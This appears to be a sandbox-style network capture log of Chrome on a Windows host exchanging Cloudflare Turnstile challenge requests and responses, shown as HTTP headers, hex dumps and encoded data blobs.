f6N+oa+9opq5h82Jz4uqy9KTjsWPra+ssMaqudefmdiaoNC3vNK6xeOrpa3s6b7ByN3c0e/xx9b60Pq5/bva/vv++c2+/fbFC9zmBw7j+QMT6evlGALz+vAGEfkXCfcB2x37BeD98ivl6gj9BRopDiwJ7TEyMC3zLAcyETIS+iH99RgVAvkUKwEiGiUqQCBIDDEPSEsSVRg7S1s3FWE5MhViLTEnZUUyNUNuLissZF0vRWw0czFJTkpTaWpPTk1
2025-01-11 08:26:08 UTC	1369	IN	Data Raw: 42 68 63 58 39 4f 69 46 61 4f 68 4a 4e 71 6c 31 74 59 67 6e 79 5a 58 47 57 6e 68 4b 65 69 6c 35 78 6c 67 71 4a 6e 73 48 79 6e 6f 34 57 41 69 4c 57 75 73 61 4b 77 6a 5a 36 61 76 58 78 38 6f 71 4c 46 6a 35 43 53 77 6f 4b 71 6c 49 4f 49 74 73 32 6d 79 38 72 44 6e 73 61 4e 6c 4a 50 56 72 74 47 6e 74 64 7a 51 30 63 37 54 71 38 57 63 74 4a 36 6c 31 2b 62 54 37 4c 7a 50 77 4d 53 38 70 4b 33 42 77 4f 6e 46 35 4d 75 33 32 62 7a 4d 31 4c 2f 4b 30 66 48 66 76 2f 62 78 30 2f 7a 67 39 50 50 6c 41 50 6a 5a 77 76 7a 4a 45 64 44 69 30 51 7a 75 35 4f 34 50 42 78 63 4a 35 79 44 39 44 68 66 79 34 74 30 61 2b 65 50 6b 35 4f 7a 72 35 65 6b 47 37 2b 6e 75 43 76 50 74 38 77 37 33 38 66 67 53 2b 2f 58 39 46 67 44 35 41 78 6f 45 2f 51 67 65 43 41 49 43 49 67 77 48 47 43 59 51 43 Data Ascii: BhcX9OiFaOhJNql1tYgnyZXGWnhKeil5xlgqJnsHyno4WAiLWusaKwjZ6avXx8oqLFj5CSwoKqlIOIts2my8rDnsaNlJPVrtGntdzQ0c7Tq8WctJ6l1+bT7LzPwMS8pK3BwOnF5Mu32bzM1L/K0fHfv/bx0/zg9PPlAPjZwvzJEdDi0Qzu5O4PBxcJ5yD9Dhfy4t0a+ePk5Ozr5ekG7+nuCvPt8w738fgS+/X9FgD5AxoE/QgeCAICIgwHGCYQC
2025-01-11 08:26:08 UTC	1369	IN	Data Raw: 52 64 47 64 71 69 33 6c 31 66 70 56 76 6f 36 4a 66 6f 70 4a 6d 58 4a 5a 36 72 4a 68 76 72 59 53 65 63 34 75 51 6f 6e 65 50 75 71 5a 37 6c 49 69 71 66 35 69 72 77 72 53 6a 6e 5a 75 63 66 37 36 31 6d 4b 47 4c 68 63 79 62 70 73 6a 44 31 4b 76 4f 31 6f 71 72 30 39 6e 59 72 39 66 63 33 4c 50 62 33 75 43 33 33 2b 48 6b 75 2b 50 6b 36 4c 2f 6e 35 2b 7a 44 36 2b 72 77 78 2b 2f 74 35 4d 33 57 7a 4f 6a 52 75 2b 6e 73 31 66 62 66 38 4e 6e 32 39 50 54 64 42 50 55 48 34 74 76 35 37 74 34 48 36 2f 44 56 31 51 37 78 38 64 62 6e 30 75 55 5a 38 4f 7a 33 47 4f 45 45 38 53 66 78 2b 66 73 70 39 53 73 4a 39 68 73 74 45 41 51 68 46 50 50 77 43 51 67 74 46 6a 76 35 4b 68 38 49 49 42 59 57 47 53 34 54 4a 42 59 53 46 53 67 71 4a 79 74 47 4b 79 77 4a 52 56 55 75 53 42 4d 70 4d 68 Data Ascii: RdGdqi3l1fpVvo6JfopJmXJZ6rJhvrYSec4uQonePuqZ7lIiqf5irwrSjnZucf761mKGLhcybpsjD1KvO1oqr09nYr9fc3LPb3uC33+Hku+Pk6L/n5+zD6+rwx+/t5M3WzOjRu+ns1fbf8Nn29PTdBPUH4tv57t4H6/DV1Q7x8dbn0uUZ8Oz3GOEE8Sfx+fsp9SsJ9hstEAQhFPPwCQgtFjv5Kh8IIBYWGS4TJBYSFSgqJytGKywJRVUuSBMpMh
2025-01-11 08:26:08 UTC	1369	IN	Data Raw: 58 31 6c 6a 65 57 4e 64 58 58 31 6e 59 6e 4f 42 61 32 5a 34 73 59 4f 48 6e 6e 78 73 63 4a 47 6a 63 4a 5a 31 75 5a 64 2b 75 35 79 33 75 62 48 45 74 4a 57 6e 6d 72 36 53 68 73 54 4a 67 49 72 49 7a 59 75 4f 7a 4e 48 57 31 59 2b 52 6c 39 48 62 74 5a 32 57 34 4e 50 68 6e 62 57 33 6f 4b 2f 51 74 4d 57 31 74 63 61 33 75 36 62 65 77 74 47 30 76 73 4c 59 74 38 62 78 37 4c 6a 79 31 4e 49 41 2b 73 37 42 7a 2b 54 34 39 39 66 6e 42 4d 73 41 33 75 33 42 33 77 66 7a 7a 2b 66 51 35 52 4d 44 37 76 49 55 46 76 51 54 45 76 51 55 36 78 6e 35 2b 43 58 30 39 42 77 47 36 2f 6b 46 42 69 6e 76 2b 69 41 6f 45 77 51 4f 4c 43 49 4b 4d 41 6f 33 47 54 77 49 45 69 77 42 52 44 4d 79 50 6a 4e 46 4b 42 77 33 4c 69 38 65 49 53 42 47 4a 30 45 30 51 56 67 33 4d 45 4d 55 46 6c 6f 35 48 68 70 Data Ascii: X1ljeWNdXX1nYnOBa2Z4sYOHnnxscJGjcJZ1uZd+u5y3ubHEtJWnmr6ShsTJgIrIzYuOzNHW1Y+Rl9HbtZ2W4NPhnbW3oK/QtMW1tca3u6bewtG0vsLYt8bx7Ljy1NIA+s7Bz+T499fnBMsA3u3B3wfzz+fQ5RMD7vIUFvQTEvQU6xn5+CX09BwG6/kFBinv+iAoEwQOLCIKMAo3GTwIEiwBRDMyPjNFKBw3Li8eISBGJ0E0QVg3MEMUFlo5Hhp
2025-01-11 08:26:08 UTC	1369	IN	Data Raw: 59 52 68 69 34 53 46 69 6e 39 2b 69 6f 6d 78 62 6f 56 7a 66 70 53 55 70 35 4b 37 6d 6e 53 78 6a 5a 74 34 65 71 4f 57 66 4c 6d 6e 6d 71 61 62 71 36 6d 2f 68 71 43 74 7a 39 47 50 70 63 36 65 70 36 47 53 6c 37 47 78 7a 74 37 54 75 4d 75 71 32 4f 58 55 31 62 50 68 30 38 6a 4d 74 4f 72 65 34 4c 2f 51 79 74 4c 68 37 4c 4b 77 35 64 6e 56 78 50 7a 4e 39 62 38 43 37 65 44 61 42 4e 54 36 34 2f 6a 71 38 74 33 2b 79 66 62 6f 41 50 4c 6b 34 67 55 41 46 74 50 70 36 39 48 34 39 78 7a 32 32 76 72 59 46 67 54 32 41 2f 63 49 42 68 7a 69 2f 41 6f 73 4c 75 77 43 37 75 76 72 45 7a 41 4a 38 7a 59 37 38 78 41 70 48 76 63 41 44 68 34 43 45 42 73 6a 49 42 6b 6d 50 45 49 6e 4b 6b 45 63 48 53 31 45 50 69 55 67 4a 55 31 4e 55 6a 4d 34 4d 69 59 70 4d 45 6b 37 50 6b 51 37 51 45 4e 56 Data Ascii: YRhi4SFin9+iomxboVzfpSUp5K7mnSxjZt4eqOWfLmnmqabq6m/hqCtz9GPpc6ep6GSl7Gxzt7TuMuq2OXU1bPh08jMtOre4L/QytLh7LKw5dnVxPzN9b8C7eDaBNT64/jq8t3+yfboAPLk4gUAFtPp69H49xz22vrYFgT2A/cIBhzi/AosLuwC7uvrEzAJ8zY78xApHvcADh4CEBsjIBkmPEInKkEcHS1EPiUgJU1NUjM4MiYpMEk7PkQ7QENV
2025-01-11 08:26:08 UTC	1369	IN	Data Raw: 47 66 69 6e 32 54 69 49 61 42 62 6f 4f 57 6b 72 70 32 65 6e 5a 2b 76 48 69 62 73 48 72 43 6e 37 2b 68 78 36 43 42 74 71 71 71 6a 61 75 6a 72 35 2b 30 73 62 48 42 71 4c 48 4d 7a 70 65 57 76 72 6a 59 6d 63 32 31 73 2b 50 66 6e 39 33 70 30 38 58 4d 34 63 44 4e 37 4e 6d 71 71 4e 44 55 39 75 76 41 79 76 54 4e 78 39 62 73 74 75 44 66 32 74 72 38 34 75 50 58 31 2b 48 37 77 51 4c 6e 36 65 66 77 33 2b 51 45 45 66 33 4f 7a 50 54 72 47 2f 58 6b 37 68 6e 78 36 78 6a 71 32 67 55 45 2f 76 34 68 42 77 6a 37 2b 77 59 67 35 53 59 4d 44 67 77 56 42 41 6b 6f 4e 53 4c 79 38 42 6b 51 4c 78 6f 4a 45 7a 30 57 45 45 59 50 41 54 67 6e 4a 51 52 48 4c 69 51 6c 43 79 73 73 4a 44 41 55 56 45 73 57 56 55 34 72 4e 53 6c 4c 46 68 63 74 47 46 68 4e 4f 32 49 35 4e 56 74 43 4f 79 4d 34 4f Data Ascii: Gfin2TiIaBboOWkrp2enZ+vHibsHrCn7+hx6CBtqqqjaujr5+0sbHBqLHMzpeWvrjYmc21s+Pfn93p08XM4cDN7NmqqNDU9uvAyvTNx9bstuDf2tr84uPX1+H7wQLn6efw3+QEEf3OzPTrG/Xk7hnx6xjq2gUE/v4hBwj7+wYg5SYMDgwVBAkoNSLy8BkQLxoJEz0WEEYPATgnJQRHLiQlCyssJDAUVEsWVU4rNSlLFhctGFhNO2I5NVtCOyM4O
2025-01-11 08:26:08 UTC	1369	IN	Data Raw: 48 6c 57 32 71 72 6f 4b 38 71 62 74 34 76 5a 53 32 67 5a 71 44 6a 37 31 39 65 72 61 53 77 62 6d 44 79 62 37 4b 72 34 33 46 74 4d 6a 49 6c 39 47 33 74 63 7a 59 71 64 43 2f 76 62 69 32 73 65 43 6a 33 64 65 79 36 4c 6d 72 77 62 61 39 71 72 6a 48 34 39 7a 4b 38 63 6a 44 36 75 61 78 73 73 69 7a 75 4f 6a 57 2f 64 54 52 39 76 4b 39 76 74 51 49 33 4f 7a 70 44 65 59 4d 38 41 58 76 41 2f 4c 75 47 4f 48 57 30 76 62 36 44 52 76 75 32 50 67 4c 32 74 72 62 2b 66 6a 6d 39 69 73 6b 48 42 7a 70 2f 65 38 47 2b 76 30 71 38 50 55 78 39 50 4d 78 42 52 58 79 47 52 63 59 41 54 34 77 4c 52 74 43 47 53 45 37 49 68 73 44 47 42 67 6d 44 78 34 72 50 45 34 6e 52 31 55 56 51 55 63 6c 4f 30 30 31 4b 78 39 56 56 45 51 2b 50 6c 4e 62 53 44 30 6f 56 6a 39 66 51 47 67 71 57 7a 35 50 54 45 Data Ascii: HlW2qroK8qbt4vZS2gZqDj719eraSwbmDyb7Kr43FtMjIl9G3tczYqdC/vbi2seCj3dey6Lmrwba9qrjH49zK8cjD6uaxssizuOjW/dTR9vK9vtQI3OzpDeYM8AXvA/LuGOHW0vb6DRvu2PgL2trb+fjm9iskHBzp/e8G+v0q8PUx9PMxBRXyGRcYAT4wLRtCGSE7IhsDGBgmDx4rPE4nR1UVQUclO001Kx9VVEQ+PlNbSD0oVj9fQGgqWz5PTE
2025-01-11 08:26:08 UTC	1369	IN	Data Raw: 6a 61 35 33 76 36 47 57 64 48 32 2b 6c 33 2b 38 77 4b 57 38 74 70 32 69 78 59 75 4b 78 61 72 42 70 4e 4b 79 73 36 4b 70 73 73 2b 74 75 4a 66 64 77 62 61 55 6e 64 2b 34 73 4f 4c 6b 74 64 7a 58 79 63 54 44 33 71 76 75 33 4e 79 2b 36 2b 44 71 7a 2b 47 33 31 37 6d 32 41 4c 72 33 79 77 50 67 33 77 50 67 32 64 50 59 35 76 30 47 31 75 76 6c 30 4f 45 46 35 77 41 57 38 42 4c 6c 39 64 58 6e 39 42 33 7a 33 51 77 69 2f 66 45 46 33 51 48 36 35 66 7a 34 39 69 6a 2b 42 76 6f 4c 4d 78 34 71 2f 76 49 4d 46 43 6e 72 4a 7a 73 72 2b 78 6b 62 50 78 34 39 2f 53 30 65 51 7a 6b 6d 4b 6b 68 45 52 79 34 68 42 30 4d 52 49 43 63 71 44 30 6b 71 54 78 49 35 4c 78 6f 78 4c 53 68 63 4d 69 42 45 55 45 52 57 4a 47 59 31 59 6b 45 73 61 57 46 65 59 58 4a 7a 55 48 46 69 51 56 52 79 5a 58 68 Data Ascii: ja53v6GWdH2+l3+8wKW8tp2ixYuKxarBpNKys6Kpss+tuJfdwbaUnd+4sOLktdzXycTD3qvu3Ny+6+Dqz+G317m2ALr3ywPg3wPg2dPY5v0G1uvl0OEF5wAW8BLl9dXn9B3z3Qwi/fEF3QH65fz49ij+BvoLMx4q/vIMFCnrJzsr+xkbPx49/S0eQzkmKkhERy4hB0MRICcqD0kqTxI5LxoxLShcMiBEUERWJGY1YkEsaWFeYXJzUHFiQVRyZXh
2025-01-11 08:26:08 UTC	1369	IN	Data Raw: 35 69 2f 72 61 47 5a 67 62 2b 38 68 34 65 4a 71 5a 71 4a 6b 63 65 6a 7a 4b 71 51 78 70 48 44 6d 4d 79 58 32 4e 4f 71 6d 64 7a 62 73 70 33 50 31 4e 65 6f 77 73 4b 38 32 2b 71 6b 36 4f 4c 73 38 2b 4c 4c 34 73 2f 4f 7a 73 54 62 35 74 72 35 36 2b 44 67 79 39 6a 7a 78 4e 37 65 31 2f 63 48 77 41 58 2b 43 52 44 2b 35 2b 6e 6d 79 63 37 79 44 76 62 76 41 78 66 56 47 76 67 64 32 52 37 38 32 64 30 69 41 65 58 68 4a 67 62 79 35 53 6f 4b 2f 51 51 6e 36 65 6e 2b 45 43 45 49 38 52 49 56 4a 2f 73 51 2f 44 63 77 48 7a 6b 4e 46 69 45 6e 4e 55 41 7a 46 54 74 45 43 77 77 2f 53 41 38 37 51 30 77 54 4b 53 49 78 4f 42 4a 49 4b 53 67 35 4f 6a 4e 4a 53 6a 5a 41 54 6c 31 62 4f 6c 78 53 4e 69 67 6f 51 45 4d 73 4b 79 35 4e 63 48 56 4c 65 47 4e 34 4e 6e 73 35 66 6c 31 4b 4d 6e 68 57 Data Ascii: 5i/raGZgb+8h4eJqZqJkcejzKqQxpHDmMyX2NOqmdzbsp3P1NeowsK82+qk6OLs8+LL4s/OzsTb5tr56+Dgy9jzxN7e1/cHwAX+CRD+5+nmyc7yDvbvAxfVGvgd2R782d0iAeXhJgby5SoK/QQn6en+ECEI8RIVJ/sQ/DcwHzkNFiEnNUAzFTtECww/SA87Q0wTKSIxOBJIKSg5OjNJSjZATl1bOlxSNigoQEMsKy5NcHVLeGN4Nns5fl1KMnhW

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.7	49778	104.18.95.41	443	8132	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-11 08:26:10 UTC	783	OUT	GET /cdn-cgi/challenge-platform/h/b/i/9003851e0d620f5f/1736583968694/YjI3dvGUaxr5YyA HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/m2hc8/0x4AAAAAAADnPIDROrmt1Wwj/light/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-11 08:26:10 UTC	200	IN	HTTP/1.1 200 OK Date: Sat, 11 Jan 2025 08:26:10 GMT Content-Type: image/png Content-Length: 61 Connection: close Server: cloudflare CF-RAY: 90038535de03f78d-EWR alt-svc: h3=":443"; ma=86400
2025-01-11 08:26:10 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 44 00 00 00 4f 08 02 00 00 00 dd b6 f4 26 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRDO&IDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.7	49779	104.18.95.41	443	8132	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-11 08:26:10 UTC	599	OUT	GET /cdn-cgi/challenge-platform/h/b/flow/ov1/1949578411:1736583276:eR2EiY8VxPNeRyNah4G3ZsTQP2lUjkNd2lfAbj45mRU/9003851e0d620f5f/JnZJhSYQZ4l.8fpHYEkmwV2yfPuZZl0lKWzjX7oNpTc-1736583966-1.1.1.1-AjZzZbOr0X_sxhg2kEgQ0HTsqcd78q3NSD39ILXzMTI4mDcdUqJzTyDnC0Tupi_e HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-11 08:26:10 UTC	375	IN	HTTP/1.1 404 Not Found Date: Sat, 11 Jan 2025 08:26:10 GMT Content-Type: application/json Content-Length: 7 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 cf-chl-out: yx5kLXPugGo/jXBnKA9GAw==$gvGXhL8jIIgl2Lp2FpjnmA== Server: cloudflare CF-RAY: 900385360f1d43d3-EWR alt-svc: h3=":443"; ma=86400
2025-01-11 08:26:10 UTC	7	IN	Data Raw: 69 6e 76 61 6c 69 64 Data Ascii: invalid

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.7	49780	104.18.95.41	443	8132	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-11 08:26:10 UTC	428	OUT	GET /cdn-cgi/challenge-platform/h/b/i/9003851e0d620f5f/1736583968694/YjI3dvGUaxr5YyA HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-11 08:26:10 UTC	200	IN	HTTP/1.1 200 OK Date: Sat, 11 Jan 2025 08:26:10 GMT Content-Type: image/png Content-Length: 61 Connection: close Server: cloudflare CF-RAY: 9003853a08fe0f8c-EWR alt-svc: h3=":443"; ma=86400
2025-01-11 08:26:10 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 44 00 00 00 4f 08 02 00 00 00 dd b6 f4 26 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRDO&IDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.7	49786	104.18.95.41	443	8132	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-11 08:26:11 UTC	812	OUT	GET /cdn-cgi/challenge-platform/h/b/pat/9003851e0d620f5f/1736583968697/f77bf8d991b52720fd45b51e51b01e2ccaf91189a100170798eaa9cb6fe96ebd/NzSgyZo_TOjvqjH HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Cache-Control: max-age=0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/m2hc8/0x4AAAAAAADnPIDROrmt1Wwj/light/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-11 08:26:11 UTC	143	IN	HTTP/1.1 401 Unauthorized Date: Sat, 11 Jan 2025 08:26:11 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 1 Connection: close
2025-01-11 08:26:11 UTC	2015	IN	Data Raw: 77 77 77 2d 61 75 74 68 65 6e 74 69 63 61 74 65 3a 20 50 72 69 76 61 74 65 54 6f 6b 65 6e 20 63 68 61 6c 6c 65 6e 67 65 3d 22 41 41 49 41 47 58 42 68 64 43 31 70 63 33 4e 31 5a 58 49 75 59 32 78 76 64 57 52 6d 62 47 46 79 5a 53 35 6a 62 32 30 67 39 33 76 34 32 5a 47 31 4a 79 44 39 52 62 55 65 55 62 41 65 4c 4d 72 35 45 59 6d 68 41 42 63 48 6d 4f 71 70 79 32 5f 70 62 72 30 41 47 57 4e 6f 59 57 78 73 5a 57 35 6e 5a 58 4d 75 59 32 78 76 64 57 52 6d 62 47 46 79 5a 53 35 6a 62 32 30 3d 22 2c 20 74 6f 6b 65 6e 2d 6b 65 79 3d 22 4d 49 49 42 55 6a 41 39 42 67 6b 71 68 6b 69 47 39 77 30 42 41 51 6f 77 4d 4b 41 4e 4d 41 73 47 43 57 43 47 53 41 46 6c 41 77 51 43 41 71 45 61 4d 42 67 47 43 53 71 47 53 49 62 33 44 51 45 42 43 44 41 4c 42 67 6c 67 68 6b 67 42 5a 51 4d Data Ascii: www-authenticate: PrivateToken challenge="AAIAGXBhdC1pc3N1ZXIuY2xvdWRmbGFyZS5jb20g93v42ZG1JyD9RbUeUbAeLMr5EYmhABcHmOqpy2_pbr0AGWNoYWxsZW5nZXMuY2xvdWRmbGFyZS5jb20=", token-key="MIIBUjA9BgkqhkiG9w0BAQowMKANMAsGCWCGSAFlAwQCAqEaMBgGCSqGSIb3DQEBCDALBglghkgBZQM
2025-01-11 08:26:11 UTC	1	IN	Data Raw: 4a Data Ascii: J

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.7	49793	104.18.95.41	443	8132	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-11 08:26:12 UTC	1173	OUT	POST /cdn-cgi/challenge-platform/h/b/flow/ov1/1949578411:1736583276:eR2EiY8VxPNeRyNah4G3ZsTQP2lUjkNd2lfAbj45mRU/9003851e0d620f5f/JnZJhSYQZ4l.8fpHYEkmwV2yfPuZZl0lKWzjX7oNpTc-1736583966-1.1.1.1-AjZzZbOr0X_sxhg2kEgQ0HTsqcd78q3NSD39ILXzMTI4mDcdUqJzTyDnC0Tupi_e HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Content-Length: 32904 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-type: application/x-www-form-urlencoded CF-Chl-RetryAttempt: 0 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 CF-Challenge: JnZJhSYQZ4l.8fpHYEkmwV2yfPuZZl0lKWzjX7oNpTc-1736583966-1.1.1.1-AjZzZbOr0X_sxhg2kEgQ0HTsqcd78q3NSD39ILXzMTI4mDcdUqJzTyDnC0Tupi_e sec-ch-ua-platform: "Windows" Accept: / Origin: https://challenges.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/m2hc8/0x4AAAAAAADnPIDROrmt1Wwj/light/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-11 08:26:12 UTC	16384	OUT	Data Raw: 76 5f 39 30 30 33 38 35 31 65 30 64 36 32 30 66 35 66 3d 4f 31 61 7a 4a 2d 77 51 24 75 31 54 31 54 30 31 77 43 77 75 6e 63 79 51 65 58 77 34 74 35 51 54 2d 52 7a 61 31 65 6a 54 64 68 59 7a 6b 42 77 5a 54 7a 76 6d 63 2d 42 2d 64 61 54 4f 2d 54 2d 48 33 77 69 54 43 31 54 71 44 4d 7a 2d 57 54 6e 69 4a 51 52 54 49 42 54 57 76 54 77 42 33 53 54 4f 69 43 54 34 54 4f 61 5a 61 68 44 6b 25 32 62 24 64 54 2b 7a 43 68 54 51 7a 49 2b 69 68 54 75 42 64 54 75 7a 49 6e 54 38 76 6f 74 63 63 54 77 5a 7a 54 58 5a 54 54 4f 2b 47 4e 4e 32 61 54 49 72 39 35 67 4e 53 6c 63 7a 65 6d 59 71 69 41 75 6f 43 39 54 77 39 6c 59 71 5a 41 64 72 61 42 53 43 47 33 42 51 43 61 51 72 54 54 4d 71 4d 6c 2d 39 74 37 58 4a 77 6c 77 74 69 49 39 70 6e 54 35 76 6e 55 6e 76 30 4f 74 6c 55 78 54 2d Data Ascii: v_9003851e0d620f5f=O1azJ-wQ$u1T1T01wCwuncyQeXw4t5QT-Rza1ejTdhYzkBwZTzvmc-B-daTO-T-H3wiTC1TqDMz-WTniJQRTIBTWvTwB3STOiCT4TOaZahDk%2b$dT+zChTQzI+ihTuBdTuzInT8votccTwZzTXZTTO+GNN2aTIr95gNSlczemYqiAuoC9Tw9lYqZAdraBSCG3BQCaQrTTMqMl-9t7XJwlwtiI9pnT5vnUnv0OtlUxT-
2025-01-11 08:26:12 UTC	16384	OUT	Data Raw: 30 65 61 77 68 64 4e 7a 79 43 65 7a 77 6e 77 4b 41 75 54 5a 31 6a 54 39 42 43 34 4d 4d 54 75 63 43 68 54 47 43 74 54 2d 6e 77 44 54 38 63 77 31 54 66 54 32 63 54 75 54 24 54 41 51 77 6e 77 34 54 37 42 65 52 54 24 54 39 42 49 6b 4f 52 54 54 54 2d 30 47 54 63 42 77 54 77 45 54 70 7a 49 6a 77 45 63 6f 54 49 31 54 58 31 6e 33 49 4f 77 78 54 77 43 2d 6b 6e 41 54 49 63 65 7a 77 55 4c 6f 42 77 69 54 6d 6e 57 7a 54 30 77 6f 54 57 7a 54 64 59 43 7a 6a 33 49 51 77 75 7a 38 6c 55 61 77 30 54 34 54 49 42 54 41 54 6c 68 2d 35 54 58 31 51 7a 65 78 42 31 68 54 63 77 43 77 4c 54 38 6c 55 63 77 33 31 39 42 34 76 77 6a 54 75 74 54 43 2d 71 54 74 61 77 71 76 41 7a 51 39 68 6e 54 59 54 24 2d 49 4a 7a 6d 6e 6f 42 54 63 54 51 42 49 63 77 6e 54 47 54 44 42 54 59 7a 64 52 77 35 Data Ascii: 0eawhdNzyCezwnwKAuTZ1jT9BC4MMTucChTGCtT-nwDT8cw1TfT2cTuT$TAQwnw4T7BeRT$T9BIkORTTT-0GTcBwTwETpzIjwEcoTI1TX1n3IOwxTwC-knATIcezwULoBwiTmnWzT0woTWzTdYCzj3IQwuz8lUaw0T4TIBTATlh-5TX1QzexB1hTcwCwLT8lUcw319B4vwjTutTC-qTtawqvAzQ9hnTYT$-IJzmnoBTcTQBIcwnTGTDBTYzdRw5
2025-01-11 08:26:12 UTC	136	OUT	Data Raw: 41 61 54 30 54 62 55 66 41 30 57 34 36 33 66 7a 43 58 54 48 35 4b 54 54 78 73 4a 5a 78 30 76 34 6d 6c 7a 54 43 54 30 4b 30 35 68 4f 41 32 2d 24 47 4a 54 43 24 77 6c 54 54 6d 75 39 36 39 54 32 67 43 4f 4e 33 34 2b 4f 58 35 6e 6e 42 39 54 79 6a 4e 2d 56 71 73 30 6a 7a 6a 47 79 52 4a 48 68 67 4e 61 37 77 6a 4d 33 67 71 6a 79 6e 61 43 67 4d 32 2d 74 73 75 76 36 71 7a 67 54 4c 7a 32 31 43 77 54 32 24 24 54 54 Data Ascii: AaT0TbUfA0W463fzCXTH5KTTxsJZx0v4mlzTCT0K05hOA2-$GJTC$wlTTmu969T2gCON34+OX5nnB9TyjN-Vqs0jzjGyRJHhgNa7wjM3gqjynaCgM2-tsuv6qzgTLz21CwT2$$TT
2025-01-11 08:26:12 UTC	322	IN	HTTP/1.1 200 OK Date: Sat, 11 Jan 2025 08:26:12 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 26320 Connection: close cf-chl-gen: jsKldqzp8wZKLzN+qnXz8ecuvtPZl0HBdZYeGStYHMCuAcgMFu44Sow3GVjvgn7s$S4iVNYZsXH4rJKC2PS0g8Q== Server: cloudflare CF-RAY: 90038542a90d188d-EWR alt-svc: h3=":443"; ma=86400
2025-01-11 08:26:12 UTC	1047	IN	Data Raw: 66 36 4e 2b 6f 61 2b 58 78 4c 54 41 77 72 79 2b 76 6f 58 46 71 4d 57 6c 79 4e 61 4f 6c 39 44 61 6b 70 76 64 79 39 69 52 74 36 33 69 72 74 6d 2b 32 62 6e 6f 33 75 71 2f 31 64 69 70 36 75 71 74 71 65 72 4f 37 61 2f 4e 7a 39 6a 36 35 38 76 65 75 66 6e 75 76 51 4c 36 33 67 50 41 38 4d 4c 54 43 65 76 36 79 51 37 4c 36 67 37 4b 45 4f 76 31 47 50 49 4f 36 51 37 74 7a 68 72 58 43 75 73 41 45 2b 34 61 39 68 72 35 4b 76 51 72 4a 53 59 50 4a 79 59 6e 37 54 4d 72 44 79 77 32 39 79 34 4b 4d 78 48 32 4c 66 63 73 47 42 4e 44 44 7a 6f 5a 4f 68 72 36 52 51 4e 48 4f 6a 31 41 4a 31 4a 42 4c 67 73 51 52 52 51 74 54 45 55 58 4c 56 67 63 57 78 6b 78 54 69 39 52 4a 42 30 78 50 32 4d 79 4d 79 4a 